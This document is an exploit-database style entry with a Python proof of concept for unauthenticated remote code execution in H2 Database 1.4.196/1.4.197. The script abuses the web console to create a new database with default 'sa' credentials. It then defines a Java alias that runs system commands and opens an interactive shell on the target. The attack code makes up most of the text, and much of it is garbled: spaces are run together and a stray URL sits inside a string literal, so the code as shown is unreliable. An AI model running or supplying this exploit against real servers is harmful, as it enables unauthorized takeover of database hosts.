# ExploitTitle:H2Database1.4.196-RemoteCodeExecution
# GoogleDork:N/A
# Date:2018-09-24
# ExploitAuthor: h4ckNinja
# VendorHomepage: https://www.h2database.com/
# SoftwareLink: http://www.h2database.com/h2-2018-03-18.zip
# Version:1.4.196 and 1.4.197
# Tested on: macOS/Linux
# CVE:N/A
# This takes advantage of the CREATEALIASRCE(https://www.exploit-db.com/exploits/44422/).
# When the test database has a password that is unknown, it is still possible toget the execution
# by creating a newdatabase. The web console allows this by entering the name of the new database
# in the connection string. When the new database is created, the default credentials of
# username “sa” and password “” (blank) are created. The attacker is logged in automatically.
# The attached Python code, modified from 44422, demonstrates this.
#!/usr/bin/env python
'''
ExploitTitle:UnauthenticatedRCEDate:2018/09/24ExploitAuthor: h4ckNinja
Vendor: http://www.h2database.com/Version: all versions
Tested on:Linux,MacDescription:Building on the AliasRCE, there's an authentication bypass tocreate a database, and then login tothatone.
Modified from: https://www.exploit-db.com/exploits/44422/
'''
importrandomimportstringimportsysimportargparseimporthtmlimportrequests
def getSession(host):
url = 'http://{}'.format(host)
r = requests.get(url)
path = r.text.split('href = 'https://www.exploit-db.com/exploits/45506/)[1].split(';')[0].replace("'","").replace('.jsp','.do')return'{}/{}'.format(url, path)
def login(url, database):
data ={
'language': 'en',
'setting': 'GenericH2(Embedded)','name': 'GenericH2(Embedded)','driver': 'org.h2.Driver','url': database,'user':'sa',
'password': ''
}print('[*]Attemptingtocreate database')
r = requests.post(url, data=data)if '<th class="login">Login</th>' in r.text:returnFalseprint('[+]Created database and logged in')returnTrue
def prepare(url):
cmd = '''CREATEALIASEXECVEAS $$ Stringexecve(String cmd)throwsjava.io.IOException{java.util.Scanner s =newjava.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");return s.hasNext()? s.next():"";}$$;'''
url = url.replace('login','query')print('[*]Sending stage 1')
r = requests.post(url, data={'sql': cmd})if not 'NullPointerException' in r.text:print('[+]Shell succeeded -^c or quit toexit')return url
returnFalse
def execve(url, cmd):
r = requests.post(url, data={'sql':"CALL EXECVE('{}')".format(cmd)})try:
execHTML = html.unescape(r.text.split('</th></tr><tr><td>')[1].split('</td>')[0].replace('<br />','\n').replace(' ',' ')).encode('utf-8').decode('utf-8','ignore')print(execHTML)
except Exception as e:print('[-]Invalid command (' +str(e)+')')if __name__ =="__main__":
parser =argparse.ArgumentParser()
randString = ''.join(random.choices(string.ascii_letters + string.digits, k=5))
parser.add_argument('-H','--host',
dest='host',
metavar='127.0.0.1:8082',
help='Specify a host',
required=True)
parser.add_argument('-d',
'--database-url',
dest='database',
metavar='jdbc:h2:~/emptydb-' + randString,default='jdbc:h2:~/emptydb-' + randString,
help='DatabaseURL',
required=False)
args = parser.parse_args()
url =getSession(args.host)iflogin(url, args.database):
success =prepare(url)if success:whileTrue:try:
cmd =input('h2-shell$ ')if'quit' not in cmd:execve(success, cmd)else:print('[+]Shutting down')
sys.exit(0)
except KeyboardInterrupt:print()print('[+]Shutting down')
sys.exit(0)else:print('[-]Something went wrong injecting the payload.')else:print('[-]Unabletologin')